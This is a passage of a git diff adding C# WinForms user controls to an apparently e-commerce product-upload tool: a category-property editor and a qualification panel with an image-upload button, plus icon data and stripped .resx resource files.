iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + +IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + /4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcCategoryProp.Designer.cs b/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcCategoryProp.Designer.cs new file mode 100644 index 0000000..7c694a3 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcCategoryProp.Designer.cs @@ -0,0 +1,84 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms.FissionUserControl +{ + partial class UcCategoryProp + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region 组件设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.txtPropValue = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.ucGroupBoxEx1.SuspendLayout(); + this.SuspendLayout(); + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.DodgerBlue; + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.SQUARE; + this.ucGroupBoxEx1.Controls.Add(this.txtPropValue); + this.ucGroupBoxEx1.Dock = System.Windows.Forms.DockStyle.Fill; + this.ucGroupBoxEx1.Location = new System.Drawing.Point(0, 0); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(200, 50); + this.ucGroupBoxEx1.TabIndex = 3; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "属性名称"; + // + // txtPropValue + // + this.txtPropValue.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.txtPropValue.Border.Class = "TextBoxBorder"; + this.txtPropValue.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtPropValue.Location = new System.Drawing.Point(6, 20); + this.txtPropValue.Name = "txtPropValue"; + this.txtPropValue.PreventEnterBeep = true; + this.txtPropValue.Size = new System.Drawing.Size(188, 21); + this.txtPropValue.TabIndex = 69; + this.txtPropValue.TextChanged += new System.EventHandler(this.txtPropValue_TextChanged); + // + // UcCategoryProp + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.ucGroupBoxEx1); + this.Name = "UcCategoryProp"; + this.Size = new System.Drawing.Size(200, 50); + this.Load += new System.EventHandler(this.UcCategoryProp_Load); + this.ucGroupBoxEx1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + public DevComponents.DotNetBar.Controls.TextBoxX txtPropValue; + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcCategoryProp.cs b/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcCategoryProp.cs new file mode 100644 index 0000000..6d5552f --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcCategoryProp.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using AllBase.Helper; +using LittleRabbit.LittleRabbitForms.BaseForms; + +namespace LittleRabbit.LittleRabbitForms.UploadForms.FissionUserControl +{ + public partial class UcCategoryProp : UserControl + { + private string propName; + public string PropName + { + get { return propName; } + set + { + propName = value; + } + } + public string PropValue { get; set; } + + /// + /// 如果是品牌,则记录品牌Id + /// + public string PropBrandId { get; set; } + + public UcCategoryProp() + { + InitializeComponent(); + } + + private void UcCategoryProp_Load(object sender, EventArgs e) + { + if (propName != null) + { + this.ucGroupBoxEx1.Text = propName; + + if (PropValue != null) + { + this.txtPropValue.Text = PropValue; + } + } + } + + private void txtPropValue_TextChanged(object sender, EventArgs e) + { + this.PropValue = txtPropValue.Text; + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcCategoryProp.resx b/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcCategoryProp.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcCategoryProp.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcQualifiaction.Designer.cs b/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcQualifiaction.Designer.cs new file mode 100644 index 0000000..2ffecde --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcQualifiaction.Designer.cs @@ -0,0 +1,173 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms.FissionUserControl +{ + partial class UcQualifiaction + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region 组件设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + this.txtQualificationNumber = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.label1 = new System.Windows.Forms.Label(); + this.btnUploadImg = new DevComponents.DotNetBar.PanelEx(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.ucGroupBoxEx1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.SuspendLayout(); + // + // txtQualificationNumber + // + this.txtQualificationNumber.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.txtQualificationNumber.Border.Class = "TextBoxBorder"; + this.txtQualificationNumber.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtQualificationNumber.Location = new System.Drawing.Point(3, 23); + this.txtQualificationNumber.Name = "txtQualificationNumber"; + this.txtQualificationNumber.PreventEnterBeep = true; + this.txtQualificationNumber.Size = new System.Drawing.Size(188, 21); + this.txtQualificationNumber.TabIndex = 0; + this.txtQualificationNumber.TextChanged += new System.EventHandler(this.txtQualificationNumber_TextChanged); + // + // pictureBox1 + // + this.pictureBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.pictureBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox1.Location = new System.Drawing.Point(3, 0); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(188, 162); + this.pictureBox1.TabIndex = 1; + this.pictureBox1.TabStop = false; + this.pictureBox1.Click += new System.EventHandler(this.pictureBox1_Click); + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.DodgerBlue; + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.SQUARE; + this.ucGroupBoxEx1.Controls.Add(this.splitContainer1); + this.ucGroupBoxEx1.Dock = System.Windows.Forms.DockStyle.Fill; + this.ucGroupBoxEx1.Location = new System.Drawing.Point(0, 0); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(200, 260); + this.ucGroupBoxEx1.TabIndex = 2; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "资质名称"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(6, 6); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(65, 12); + this.label1.TabIndex = 68; + this.label1.Text = "资质编号:"; + // + // btnUploadImg + // + this.btnUploadImg.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.btnUploadImg.CanvasColor = System.Drawing.SystemColors.Control; + this.btnUploadImg.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnUploadImg.DisabledBackColor = System.Drawing.Color.Empty; + this.btnUploadImg.Location = new System.Drawing.Point(3, 164); + this.btnUploadImg.Name = "btnUploadImg"; + this.btnUploadImg.Size = new System.Drawing.Size(188, 23); + this.btnUploadImg.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnUploadImg.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnUploadImg.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnUploadImg.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnUploadImg.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnUploadImg.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnUploadImg.Style.GradientAngle = 90; + this.btnUploadImg.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnUploadImg.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnUploadImg.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnUploadImg.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnUploadImg.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnUploadImg.TabIndex = 66; + this.btnUploadImg.Text = "上传图片"; + this.btnUploadImg.Click += new System.EventHandler(this.btnUploadImg_Click); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(3, 17); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.label1); + this.splitContainer1.Panel1.Controls.Add(this.txtQualificationNumber); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.pictureBox1); + this.splitContainer1.Panel2.Controls.Add(this.btnUploadImg); + this.splitContainer1.Size = new System.Drawing.Size(194, 240); + this.splitContainer1.SplitterDistance = 46; + this.splitContainer1.TabIndex = 72; + // + // QualifiactionControl + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.ucGroupBoxEx1); + this.Name = "QualifiactionControl"; + this.Size = new System.Drawing.Size(200, 260); + this.Load += new System.EventHandler(this.QualifiactionControl_Load); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.ucGroupBoxEx1.ResumeLayout(false); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel1.PerformLayout(); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private DevComponents.DotNetBar.Controls.TextBoxX txtQualificationNumber; + private System.Windows.Forms.PictureBox pictureBox1; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private DevComponents.DotNetBar.PanelEx btnUploadImg; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.SplitContainer splitContainer1; + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcQualifiaction.cs b/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcQualifiaction.cs new file mode 100644 index 0000000..b1ebf65 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcQualifiaction.cs @@ -0,0 +1,116 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using AllBase.Model.Param.ProductManage; +using AllBase; +using LittleRabbit.LittleRabbitForms.BaseForms; +using LittleRabbit.LittleRabbitForms.UploadForms; + +namespace LittleRabbit.LittleRabbitForms.UploadForms.FissionUserControl +{ + public partial class UcQualifiaction : UserControl + { + private QualificationConfig qualification; + public QualificationConfig Qualification + { + get { return qualification; } + set + { + qualification = value; + if (qualification.name == "包装标签图") + { + this.Height = 220; this.splitContainer1.Panel1Collapsed = true; + } + } + } + public quality_file QualificationFile { get; set; } + + public UcQualifiaction() + { + InitializeComponent(); + } + + private void pictureBox1_Click(object sender, EventArgs e) + { + if (this.QualificationFile != null && this.QualificationFile.quality_attachments.Count > 0) + { + new FissionBrowserObject().ShowBigImg(this.QualificationFile.quality_attachments[0].url); + } + } + + private void QualifiactionControl_Load(object sender, EventArgs e) + { + this.pictureBox1.SizeMode = PictureBoxSizeMode.Zoom; + ShowQualification(); + } + + public void ShowQualification() + { + if (Qualification != null) + { + this.ucGroupBoxEx1.Text = Qualification.name; + + if (QualificationFile != null) + { + this.txtQualificationNumber.Text = QualificationFile.quality_number; + if (QualificationFile.quality_attachments.Count > 0) + this.pictureBox1.Load(QualificationFile.quality_attachments.FirstOrDefault().url); + } + } + } + + private void btnUploadImg_Click(object sender, EventArgs e) + { + if (Qualification == null || string.IsNullOrEmpty(Qualification.name)) + { + BaseMsgForm.ShowError("资质属性获取失败!请关闭窗口重试"); + return; + } + + var uploadResult = new FissionBrowserObject().addLocalPic(false); + if (uploadResult.Contains("\"msg\":\"success\"")) + { + if (QualificationFile == null) + { + QualificationFile = new quality_file(); + QualificationFile.quality_key = Qualification.key; + QualificationFile.quality_name = Qualification.name; + } + if (QualificationFile.quality_attachments == null) + QualificationFile.quality_attachments = new List(); + + var imageUrl = BaseRegex.GetStringJson(ref uploadResult, "src")?.Replace("\\/", "/"); + if (!string.IsNullOrEmpty(imageUrl)) + { + QualificationFile.quality_attachments.Clear(); + QualificationFile.quality_attachments.Add(new quality_attachment { media_type = 1, url = imageUrl }); + this.pictureBox1.Load(imageUrl); + } + } + } + + private void txtQualificationNumber_TextChanged(object sender, EventArgs e) + { + if (Qualification == null || string.IsNullOrEmpty(Qualification.name)) + { + BaseMsgForm.ShowError("资质属性获取失败!请关闭窗口重试"); + return; + } + + if (QualificationFile == null) + { + QualificationFile = new quality_file(); + QualificationFile.quality_key = Qualification.key; + QualificationFile.quality_name = Qualification.name; + } + + QualificationFile.quality_number = txtQualificationNumber.Text; + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcQualifiaction.resx b/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcQualifiaction.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FissionUserControl/UcQualifiaction.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + 